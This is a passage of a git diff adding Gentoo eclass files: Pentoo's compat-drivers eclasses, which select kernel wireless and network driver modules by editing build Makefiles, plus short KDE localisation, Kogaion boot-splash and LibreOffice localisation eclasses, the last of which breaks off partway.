+			eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die
+			for dis in ${disable_list}; do
+				has "${dis}" ${disable_list_other} && \
+					disable_list_new+=" ${dis}"
+			done
+			disable_list="${disable_list_new}" || die
+		fi
+	done
+	# execute all filters for the Makefiles
+	for file in ${CPD_MAKEFILES}; do
+		eval "local filter_list=\$CPD_${file}" || die
+		if [ -n "${filter_list}" ]; then
+			# einfo "Filtering $(get_makefile ${file}) for: ${filter_list}"
+			select_drivers_from_makefile "${file}" "${filter_list}" || die
+		fi
+	done
+	# execute common disable list
+	einfo "Common disable list: ${disable_list}"
+	for dis in ${disable_list}; do
+		einfo "Running disable function: disable_${dis}"
+		eval "disable_${dis}" || die
+	done
+}
+
+EXPORT_FUNCTIONS src_configure || die
diff --git a/eclass/compat-drivers-3.8-r1.eclass b/eclass/compat-drivers-3.8-r1.eclass
new file mode 100644
index 00000000..f01faa83
--- /dev/null
+++ b/eclass/compat-drivers-3.8-r1.eclass
@@ -0,0 +1,104 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+
+# @ECLASS: compat-drivers-3.8-r1.eclass
+# @MAINTAINER:
+# wuodan@pentoo.ch
+# @BLURB: Implements functionality of driver-select script for several modules
+# @DESCRIPTION:
+# Implements functionality of driver-select script for several modules
+# needs a modified version of the driver-select file!
+
+# compose IUSE and REQUIRED_USE from the categories
+IUSE+=" +build-all-modules"
+REQUIRED_USE+=" || ("
+for useexp in ${CPD_USE_EXPAND}; do
+	USE_TEMP="\$CPD_USE_EXPAND_$useexp"
+	for iuse in `eval echo "\$USE_TEMP"`; do
+		if [ "${iuse:0:1}" = '+' ]; then
+			IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die
+		else
+			IUSE+=" compat_drivers_${useexp}_${iuse}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die
+		fi
+	done
+done
+REQUIRED_USE+=" )"
+
+# ==============================================================================
+# INTERNAL VARIABLES
+# ==============================================================================
+
+# @VARIABLE: CPD_USE_EXPAND
+# @DESCRIPTION:
+# This variable needs to be set in the ebuild and contains the categories for
+# USE_EXPAND
+
+# @VARIABLE: CPD_USE_EXPAND_category
+# @DESCRIPTION:
+# These variables need to be set in the ebuild, one per category in
+# CPD_USE_EXPAND. They contain the modules of the categories.
+
+# @ECLASS-VARIABLE: CPD_MODULE
+# @DESCRIPTION:
+# This internal variable contains a temporary value, the currently processed
+# module.
+
+# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE}
+# @DESCRIPTION:
+# These internal variables contains values, the 'disable-actions' of the
+# currently processed module. One variable exists for each active module.
+
+# ==============================================================================
+# INTERNAL FUNCTIONS
+# ==============================================================================
+
+# ==============================================================================
+# EXPORTED FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: compat-drivers-3.8-r1_src_configure
+# @DESCRIPTION:
+# This function reads the configuration (disable-actions and filters) for each
+# single active flag, then constructs and applies the common configuration set.
+compat-drivers-3.8-r1_src_configure() {
+	# early exit, skip filtering of configuration and build all modules
+	if use build-all-modules; then
+		ewarn "You have chosen to build all modules!"
+		ewarn "The Pentoo team strives to build only the desired modules and the"
+		ewarn "use flag 'build-all-modules' should only be used when"
+		ewarn "the desired modules is not available through another flag."
+		ewarn "Please open an issue at the Pentoo site and let us know which"
+		ewarn "module was missing!"
+		return 0
+	fi
+
+	# loop over all modules
+	local use_temp=''
+	local use_enabled_list=''
+	for useexp in ${CPD_USE_EXPAND}; do
+		use_temp="\$CPD_USE_EXPAND_$useexp" || die
+		for iuse in `eval echo "\$use_temp"`; do
+			if [ "${iuse:0:1}" = '+' ]; then
+				local iuse2=${iuse:1} || die
+			else
+				local iuse2=${iuse} || die
+			fi
+			local iflag="compat_drivers_${useexp}_${iuse2}" || die
+			# check if it's enabled
+			if use "${iflag}"; then
+				use_enabled_list+=" ${iuse2}" || die
+			fi
+		done
+	done
+	einfo "List of enabled modules: ${use_enabled_list}"
+
+	# Call the modified driver-select script
+	scripts/driver-select -q ${use_enabled_list} || \
+		die "driver-select failed. This file was edited by Pentoo"
+}
+
+EXPORT_FUNCTIONS src_configure || die
diff --git a/eclass/compat-drivers-3.8.eclass b/eclass/compat-drivers-3.8.eclass
new file mode 100644
index 00000000..e517f527
--- /dev/null
+++ b/eclass/compat-drivers-3.8.eclass
@@ -0,0 +1,560 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+
+# @ECLASS: compat-drivers-3.8.eclass
+# @MAINTAINER:
+# wuodan@pentoo.ch
+# @BLURB: Implements functionality of driver-select script for several modules
+# @DESCRIPTION:
+# Implements functionality of driver-select script for several modules
+
+# compose IUSE and REQUIRED_USE from the categories
+IUSE+=" +build-all-modules"
+REQUIRED_USE+=" || ("
+for useexp in ${CPD_USE_EXPAND}; do
+	USE_TEMP="\$CPD_USE_EXPAND_$useexp"
+	for iuse in `eval echo "\$USE_TEMP"`; do
+		if [ "${iuse:0:1}" = '+' ]; then
+			IUSE+=" ${iuse:0:1}compat_drivers_${useexp}_${iuse:1}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse:1}" || die
+		else
+			IUSE+=" compat_drivers_${useexp}_${iuse}" || die
+			REQUIRED_USE+=" compat_drivers_${useexp}_${iuse} build-all-modules" || die
+		fi
+	done
+done
+REQUIRED_USE+=" )"
+
+# ==============================================================================
+# INTERNAL VARIABLES
+# ==============================================================================
+
+# @VARIABLE: CPD_USE_EXPAND
+# @DESCRIPTION:
+# This variable needs to be set in the ebuild and contains the categories for
+# USE_EXPAND
+
+# @VARIABLE: CPD_USE_EXPAND_category
+# @DESCRIPTION:
+# These variables need to be set in the ebuild, one per category in
+# CPD_USE_EXPAND. They contain the modules of the categories.
+
+# @ECLASS-VARIABLE: CPD_MODULE
+# @DESCRIPTION:
+# This internal variable contains a temporary value, the currently processed
+# module.
+
+# @ECLASS-VARIABLE: CPD_DISABLE_${CPD_MODULE}
+# @DESCRIPTION:
+# These internal variables contains values, the 'disable-actions' of the
+# currently processed module. One variable exists for each active module.
+
+# @ECLASS-VARIABLE: CPD_MAKEFILES
+# @DESCRIPTION:
+# This internal variable contains a list of all 'Makefile's
+CPD_MAKEFILES="
+	MAKEFILE
+	COMPAT_CONFIG_CW
+	DRIVERS_MAKEFILE
+	ATH_MAKEFILE
+	ATH9K_MAKEFILE
+	BRCM80211_MAKEFILE
+	RT2X00_MAKEFILE
+	TI_MAKEFILE
+	NET_WIRELESS_MAKEFILE
+	EEPROM_MAKEFILE
+	DRIVERS_NET_ATHEROS
+	DRIVERS_NET_BROADCOM
+	DRIVERS_NET_USB_MAKEFILE
+	SSB_MAKEFILE
+	BCMA_MAKEFILE"
+
+# @ECLASS-VARIABLE: CPD_MAKEFILES_ARRAY
+# @DESCRIPTION:
+# This internal variable contains an array with paths to all files
+CPD_MAKEFILES_ARRAY=(
+	MAKEFILE=Makefile
+	COMPAT_CONFIG_CW=config.mk
+	DRIVERS_MAKEFILE=drivers/net/wireless/Makefile
+	ATH_MAKEFILE=drivers/net/wireless/ath/Makefile
+	ATH9K_MAKEFILE=drivers/net/wireless/ath/ath9k/Makefile
+	BRCM80211_MAKEFILE=drivers/net/wireless/brcm80211/Makefile
+	RT2X00_MAKEFILE=drivers/net/wireless/rt2x00/Makefile
+	TI_MAKEFILE=drivers/net/wireless/ti/Makefile
+	NET_WIRELESS_MAKEFILE=net/wireless/Makefile
+	EEPROM_MAKEFILE=drivers/misc/eeprom/Makefile
+	DRIVERS_NET_ATHEROS=drivers/net/ethernet/atheros/Makefile
+	DRIVERS_NET_BROADCOM=drivers/net/ethernet/broadcom/Makefile
+	DRIVERS_NET_USB_MAKEFILE=drivers/net/usb/Makefile
+	SSB_MAKEFILE=drivers/ssb/Makefile
+	BCMA_MAKEFILE=drivers/bcma/Makefile
+)
+
+# ==============================================================================
+# INTERNAL FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: get_makefile
+# @DESCRIPTION:
+# This internal function returns the path to a file from CPD_MAKEFILES_ARRAY
+function get_makefile {
+	for file in "${CPD_MAKEFILES_ARRAY[@]}"; do
+		if [ "${file%%=*}"	= "${1}" ]; then
+			echo "${file#*=}"
+			return 0
+		fi
+	done
+	die "Not found"
+}
+
+# @FUNCTION: select_drivers_from_makefile
+# @DESCRIPTION:
+# This internal function filters a Makefile
+# It deletes all non matching lines!
+function select_drivers_from_makefile
+{
+	local makefile=$(get_makefile "$1")
+	shift
+	local configs=""
+	for i in $@; do
+		[ "${configs}" != '' ] && configs+='|'
+		configs+="${i}"
+	done
+	einfo "Filtering file ${makefile} for: ${configs}"
+	sed -r "/${configs}/!d"  ${makefile} > ${makefile}.tmp || die
+	mv ${makefile}.tmp ${makefile} || die
+}
+
+# @FUNCTION: disable
+# @DESCRIPTION:
+# This internal function registers a 'disable' action for a module.
+# It writes to a variable CPD_DISABLE_${CPD_MODULE}
+function disable {
+	eval "CPD_DISABLE_${CPD_MODULE}+=\" ${*}\"" || die
+}
+
+# @FUNCTION: disable_makefile
+# @DESCRIPTION:
+# This internal function clears a Makefile completely. Use with care!
+function disable_makefile {
+	einfo "Clearing entire file: ${1}"
+	echo > $1 || die
+}
+
+# @FUNCTION: disable_staging
+# @DESCRIPTION:
+# This internal function disables "staging"
+function disable_staging
+{
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_STAGING/ ' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_STAGING/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_update-initramfs
+# @DESCRIPTION:
+# This internal function disables "update-initramfs"
+function disable_update-initramfs
+{
+	# perl -i -ne 'print if ! /update-initramfs/' "${MAKEFILE}"
+	sed -i '/update-initramfs/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_lib80211
+# @DESCRIPTION:
+# This internal function disables "lib80211"
+function disable_lib80211
+{
+	# perl -i -ne 'print if ! /LIB80211/ ' $NET_WIRELESS_MAKEFILE
+	sed -i '/LIB80211/d' "$(get_makefile NET_WIRELESS_MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_b44
+# @DESCRIPTION:
+# This internal function disables "b44"
+function disable_b44 {
+	# perl -i -ne 'print if ! /CONFIG_B44/ ' $DRIVERS_NET_BROADCOM
+	sed -i '/CONFIG_B44/d' "$(get_makefile DRIVERS_NET_BROADCOM)" || die
+}
+
+# @FUNCTION: disable_ssb
+# @DESCRIPTION:
+# This internal function disables "ssb"
+function disable_ssb
+{
+	disable_makefile "$(get_makefile ${SSB_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/ssb\//' "${MAKEFILE}"
+	sed -i '/drivers\/ssb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_bcma
+# @DESCRIPTION:
+# This internal function disables "bcma"
+function disable_bcma
+{
+	disable_makefile "$(get_makefile ${BCMA_MAKEFILE})"
+	# perl -i -ne 'print if ! /drivers\/bcma\//' "${MAKEFILE}"
+	sed -i '/drivers\/bcma\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_rfkill
+# @DESCRIPTION:
+# This internal function disables "rfkill"
+function disable_rfkill
+{
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_RFKILL/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_RFKILL/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_eprom
+# @DESCRIPTION:
+# This internal function disables "eprom"
+function disable_eeprom
+{
+	disable_makefile "$(get_makefile ${EEPROM_MAKEFILE})" || die
+	# perl -i -ne 'print if ! /drivers\/misc\/eeprom\//' "${MAKEFILE}"
+	sed -i '/drivers\/misc\/eeprom\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_usbnet
+# @DESCRIPTION:
+# This internal function disables "usbnet"
+function disable_usbnet
+{
+	disable_makefile ${DRIVERS_NET_USB_MAKEFILE} || die
+	# perl -i -ne 'print if ! /drivers\/net\/usb\//' "${MAKEFILE}"
+	sed -i '/drivers\/net\/usb\//d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_usbnet
+# @DESCRIPTION:
+# This internal function disables "usbnet"
+# this function is twice in driver-select script!?!
+function disable_usbnet {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NET_USB_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_NET_USB_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_ethernet
+# @DESCRIPTION:
+# This internal function disables "ethernet"
+function disable_ethernet {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_NETWORK_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_NETWORK_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_var_03
+# @DESCRIPTION:
+# This internal function disables "var_03"
+function disable_var_03 {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VAR_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_VAR_MODULES/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_bt
+# @DESCRIPTION:
+# This internal function disables "bt"
+function disable_bt {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_BLUETOOTH/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_BLUETOOTH/d' "$(get_makefile MAKEFILE)" || die
+} 
+
+# @FUNCTION: disable_80211
+# @DESCRIPTION:
+# This internal function disables "80211"
+function disable_80211 {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_WIRELESS/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_WIRELESS/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_drm
+# @DESCRIPTION:
+# This internal function disables "drm"
+function disable_drm {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_VIDEO_MODULES/' "${MAKEFILE}"
+	sed -i '/CONFIG_COMPAT_VIDEO_MODULES/d' "$(get_makefile MAKEFILE)" || die
+}
+
+# @FUNCTION: disable_ath9k_rate_control
+# @DESCRIPTION:
+# This internal function disables "ath9k_rate_control"
+# new function, not in driver-select
+function disable_ath9k_rate_control {
+	# perl -i -ne 'print if ! /CONFIG_COMPAT_ATH9K_RATE_CONTROL/ ' $COMPAT_CONFIG_CW
+	sed -i '/CONFIG_COMPAT_ATH9K_RATE_CONTROL/d' "$(get_makefile COMPAT_CONFIG_CW)" || die
+}
+
+# @FUNCTION: select_drivers
+# @DESCRIPTION:
+# This internal function registers filters for the drivers Makefile
+function select_drivers {
+	eval "CPD_DRIVERS_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ath_driver
+# @DESCRIPTION:
+# This internal function registers filters for the ath Makefile
+function select_ath_driver {
+	eval "CPD_ATH_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ath_driver_common
+# @DESCRIPTION:
+# This internal function registers common filters for the ath Makefile
+function select_ath_driver_common {
+	# eval "CPD_ATH_MAKEFILE+=\" CONFIG_ATH_ ath-objs regd.o hw.o\"" || die
+	select_ath_driver CONFIG_ATH_ ath-objs regd.o hw.o key.o || die
+}
+
+# @FUNCTION: select_brcm80211_driver
+# @DESCRIPTION:
+# This internal function registers filters for the brcm80211 Makefile
+function select_brcm80211_driver {
+	eval "CPD_BRCM80211_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: select_ti_driver
+# @DESCRIPTION:
+# This internal function registers filters for the ti Makefile
+function select_ti_drivers {
+	select_drivers CONFIG_WL_TI
+	eval "CPD_TI_MAKEFILE+=\" ${*}\"" || die
+}
+
+# @FUNCTION: set_flag
+# @DESCRIPTION:
+# This internal function contains the configuration for each flag/module
+function set_flag {
+	# clear/set global vars
+	CPD_MODULE=$1
+	case $1 in
+		ath5k)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver	CONFIG_ATH5K || die
+			select_ath_driver_common || die
+			;;
+		ath9k)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			;;
+		ath9k_ap)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			disable ath9k_rate_control || die
+			;;
+		carl9170)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver	CONFIG_CARL9170 || die
+			select_ath_driver_common || die
+			;;
+		ath9k_htc)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver CONFIG_ATH9K_HW || die
+			select_ath_driver_common || die
+			;;
+		ath6kl)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver	CONFIG_ATH6KL || die
+			select_ath_driver_common || die
+			;;
+		wil6210)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_ATH_CARDS || die
+			select_ath_driver	CONFIG_WIL6210 || die
+			;;
+		brcmsmac)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_BRCMSMAC || die
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die
+			;;
+		brcmfmac)
+			disable staging usbnet ethernet bt update-initramfs var_03 drm || die
+			select_drivers		CONFIG_BRCMFMAC || die
+			select_brcm80211_driver	CONFIG_BRCMSMAC CONFIG_BRCMUTIL || die
+			;;
+		zd1211rw)
+			select_drivers		CONFIG_COMPAT_ZD1211RW || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		b43)
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable eeprom lib80211 || die
+			select_drivers		CONFIG_B43 || die
+			;;
+		rt2x00)
+			select_drivers		CONFIG_RT2X00 || die
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable lib80211 ssb bcma usbnet update-initramfs || die
+			;;
+		wl1251)
+			select_ti_drivers	CONFIG_WL1251 || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		wl12xx)
+			select_ti_drivers	CONFIG_WL12XX || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+		wl18xx)
+			select_ti_drivers	CONFIG_WL18XX || die
+			disable staging lib80211 ssb bcma usbnet eeprom update-initramfs || die
+			;;
+	# Ethernet and Bluetooth drivers
+		atl1)
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl2)
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL2) += atlx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl1e)
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1E) += atl1e/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atl1c)
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ATL1C) += atl1c/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		alx)
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 || die
+			echo -e "obj-\$(CONFIG_ALX) += alx/" > "$(get_makefile DRIVERS_NET_ATHEROS)" || die
+			;;
+		atlxx)
+			select_drivers		CONFIG_ATL1 CONFIG_ATL2 CONFIG_ATL1E CONFIG_ALX || die
+			disable staging usbnet var_03 drm bt rfkill 80211 b44 update-initramfs || die
+			;;
+		bt)
+			select_drivers 		CONFIG_BT || die
+			disable ssb bcma usbnet eeprom update-initramfs ethernet staging 80211 || die
+			;;
+		i915)
+			# rfkill may be needed if you enable b44 as you may have b43
+			disable ethernet staging usbnet var_03 bt rfkill 80211 || die
+			;;
+		drm)
+			# rfkill may be needed if you enable b44 as you may have b43
+			disable ethernet staging usbnet var_03 bt rfkill 80211 || die
+			;;
+	# Manually added options by pentoo
+		usbnet)
+			# disable everything else
+			disable staging update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die
+			;;
+		staging)
+			# disable everything else
+			disable usbnet update-initramfs lib80211 b44 ssb bcma rfkill eeprom ethernet var_03 bt 80211 ath9k_rate_control || die
+			;;
+		b44)
+			disable staging usbnet ethernet bt update-initramfs || die
+			disable eeprom lib80211 || die
+			select_drivers		CONFIG_B44 || die
+			;;
+		*)
+			die "Unsupported driver: ${1}"
+			exit
+			;;
+	esac
+}
+
+# @FUNCTION: echo_flag_settings
+# @DESCRIPTION:
+# This internal function outputs the "disable" actions for a flag
+function echo_flag_settings {
+	# example:
+	# CPD_DISABLE_${iflag}="action1 action2"
+	# CPD_DRIVERS_MAKEFILE="flag1 flag1"
+	# CPD_ATH_MAKEFILE="flag3"
+	# ...
+	local iflag=$1
+	eval "local disable_list=\"\${CPD_DISABLE_${iflag}}\"" || die
+	einfo "Disable list for ${iflag}: ${disable_list}"
+}
+
+# ==============================================================================
+# EXPORTED FUNCTIONS
+# ==============================================================================
+
+# @FUNCTION: compat-drivers-3.8_src_configure
+# @DESCRIPTION:
+# This function reads the configuration (disable-actions and filters) for each
+# single active flag, then constructs and applies the common configuration set.
+compat-drivers-3.8_src_configure() {
+	# early exit, skip filtering of configuration and build all modules
+	if use build-all-modules; then
+		ewarn "You have chosen to build all modules!"
+		ewarn "The Pentoo team strives to build only the desired modules and the"
+		ewarn "use flag 'build-all-modules' should only be used when"
+		ewarn "the desired modules is not available through another flag."
+		ewarn "Please open an issue at the Pentoo site and let us know which"
+		ewarn "module was missing!"
+		return 0
+	fi
+
+	# loop over all modules
+	local use_temp=''
+	local use_enabled_list=''
+	for useexp in ${CPD_USE_EXPAND}; do
+		use_temp="\$CPD_USE_EXPAND_$useexp" || die
+		for iuse in `eval echo "\$use_temp"`; do
+			if [ "${iuse:0:1}" = '+' ]; then
+				local iuse2=${iuse:1} || die
+			else
+				local iuse2=${iuse} || die
+			fi
+			local iflag="compat_drivers_${useexp}_${iuse2}" || die
+			# check if it's enabled
+			if use "${iflag}"; then
+				use_enabled_list+=" ${iuse2}" || die
+				# fill the disable/enable lists
+				# example:
+				# CPD_DISABLE_${iflag}="action1 action2"
+				# CPD_DRIVERS_MAKEFILE="flag1 flag1"
+				# CPD_ATH_MAKEFILE="flag3"
+				# ...
+				set_flag "${iuse2}" || die
+				echo_flag_settings "${iuse2}" || die
+			fi
+		done
+	done
+	einfo "List of enabled modules: ${use_enabled_list}"
+	# compose common disable list for all flags
+	# 1st module/flag
+	local iuse1="$(echo $use_enabled_list | cut -d ' ' -f 1)" || die
+	eval "local disable_list=\$CPD_DISABLE_${iuse1}" || die
+	for iuse in ${use_enabled_list}; do
+		if [ "${iuse}" != "${iuse1}" ]; then
+			local disable_list_new='' || die
+			eval "local disable_list_other=\$CPD_DISABLE_${iuse}" || die
+			for dis in ${disable_list}; do
+				has "${dis}" ${disable_list_other} && \
+					disable_list_new+=" ${dis}"
+			done
+			disable_list="${disable_list_new}" || die
+		fi
+	done
+	# execute all filters for the Makefiles
+	for file in ${CPD_MAKEFILES}; do
+		eval "local filter_list=\$CPD_${file}" || die
+		if [ -n "${filter_list}" ]; then
+			# einfo "Filtering $(get_makefile ${file}) for: ${filter_list}"
+			select_drivers_from_makefile "${file}" "${filter_list}" || die
+		fi
+	done
+	# execute common disable list
+	einfo "Common disable list: ${disable_list}"
+	for dis in ${disable_list}; do
+		einfo "Running disable function: disable_${dis}"
+		eval "disable_${dis}" || die
+	done
+}
+
+EXPORT_FUNCTIONS src_configure || die
diff --git a/eclass/kde-l10n.eclass b/eclass/kde-l10n.eclass
new file mode 100644
index 00000000..100db755
--- /dev/null
+++ b/eclass/kde-l10n.eclass
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+inherit base kde4-base
+
+MY_LANG="${PN/kde-l10n-/}"
+
+# export all the available functions here
+EXPORT_FUNCTIONS src_prepare src_configure
+
+L10N_NAME="${L10N_NAME:-${MY_LANG}}"
+DESCRIPTION="KDE4 ${L10N_NAME} localization package"
+HOMEPAGE="http://www.kde.org/"
+LICENSE="GPL-2"
+
+KEYWORDS="~amd64 ~x86"
+DEPEND=">=sys-devel/gettext-0.15"
+RDEPEND=""
+IUSE="+handbook"
+
+kde-l10n_src_prepare() {
+    # override kde4-base_src_prepare which
+    # fails at enable_selected_doc_linguas
+    base_src_prepare
+}
+
+kde-l10n_src_configure() {
+    mycmakeargs="${mycmakeargs}
+        $(cmake-utils_use_build handbook docs)"
+    kde4-base_src_configure
+}
diff --git a/eclass/kogaion-artwork.eclass b/eclass/kogaion-artwork.eclass
new file mode 100644
index 00000000..e537c9e8
--- /dev/null
+++ b/eclass/kogaion-artwork.eclass
@@ -0,0 +1,62 @@
+# Copyright 2004-2009 Sabayon Project
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors: Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+# $
+
+inherit eutils
+
+# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME
+# @DESCRIPTION:
+# Argument used by `find` to search inside ${ROOT}boot Linux
+# Kernel initramfs files to patch
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}"
+
+# @ECLASS-VARIABLE: GFX_SPLASH_NAME
+# @DESCRIPTION:
+# Default splash theme name to use
+GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-kogaion}"
+
+# @FUNCTION: update_kernel_initramfs_splash
+# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file]
+# @RETURN: 1, if something went wrong
+#
+# @MAINTAINER:
+# Brindusa Stefan Cristian
+# @AUTHOR:
+# Fabio Erculiani
+update_kernel_initramfs_splash() {
+
+	[[ -z "${2}" ]] && die "wrong update_kernel_splash arguments"
+
+	if ! has_version "media-gfx/splashutils"; then
+		ewarn "media-gfx/splashutils not found, cannot update kernel splash"
+		return 1
+	fi
+	splash_geninitramfs -a "${2}" ${1}
+	return ${?}
+
+}
+
+# @FUNCTION: update_sabayon_kernel_initramfs_splash
+# @USAGE: update_sabayon_kernel_initramfs_splash
+#
+# @AUTHOR:
+# Fabio Erculiani
+# @MAINTAINER:
+# Brindusa Stefan Cristian
+update_sabayon_kernel_initramfs_splash() {
+	local splash_name="${GFX_SPLASH_NAME}"
+	local override_splash_file="${ROOT}etc/splash_name"
+	if [ -f "${override_splash_file}" ]; then
+		found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1)
+		if [ -d "/etc/splash/${found_splash_name}" ]; then
+			splash_name="${found_splash_name}"
+		fi
+	fi
+	for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do
+		einfo "Updating boot splash for ${bootfile}"
+		update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}"
+	done
+}
diff --git a/eclass/libreoffice-l10n-2.eclass b/eclass/libreoffice-l10n-2.eclass
new file mode 100644
index 00000000..79d74359
--- /dev/null
+++ b/eclass/libreoffice-l10n-2.eclass
@@ -0,0 +1,139 @@
+# Copyright 2004-2012 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+OO_EXTENSIONS=(
+	"472ffb92d82cf502be039203c606643d-Sun-ODF-Template-Pack-en-US_1.0.0.oxt"
+	"53ca5e56ccd4cab3693ad32c6bd13343-Sun-ODF-Template-Pack-de_1.0.0.oxt"
+	"4ad003e7bbda5715f5f38fde1f707af2-Sun-ODF-Template-Pack-es_1.0.0.oxt"
+	"a53080dc876edcddb26eb4c3c7537469-Sun-ODF-Template-Pack-fr_1.0.0.oxt"
+	"09ec2dac030e1dcd5ef7fa1692691dc0-Sun-ODF-Template-Pack-hu_1.0.0.oxt"
+	"b33775feda3bcf823cad7ac361fd49a6-Sun-ODF-Template-Pack-it_1.0.0.oxt"
+)
+
+inherit base rpm multilib versionator office-ext
+
+MY_LANG=${PN/libreoffice-l10n-/}
+MY_LANG=${MY_LANG/_/-}
+
+# export all the available functions here
+EXPORT_FUNCTIONS src_unpack src_prepare src_configure src_compile src_install pkg_postinst pkg_prerm
+
+# @ECLASS-VARIABLE: L10N_LANG
+# @DESCRIPTION:
+# Localization language name
+L10N_LANG="${L10N_LANG:-${MY_LANG}}"
+
+# @ECLASS-VARIABLE: HELPPACK_AVAIL
+# @DESCRIPTION:
+# Set this to "0" if help pack package is not available
+HELPPACK_AVAIL="${HELPPACK_AVAIL:-1}"
+
+# @ECLASS-VARIABLE: LANGPACK_AVAIL
+# @DESCRIPTION:
+# Set this to "0" if lang pack package is not available
+LANGPACK_AVAIL="${LANGPACK_AVAIL:-1}"
+
+DESCRIPTION="LibreOffice.org ${L10N_LANG} localisation"
+HOMEPAGE="http://www.documentfoundation.org"
+RESTRICT="nomirror"
+
+L10N_VER="$(get_version_component_range 1-3)"
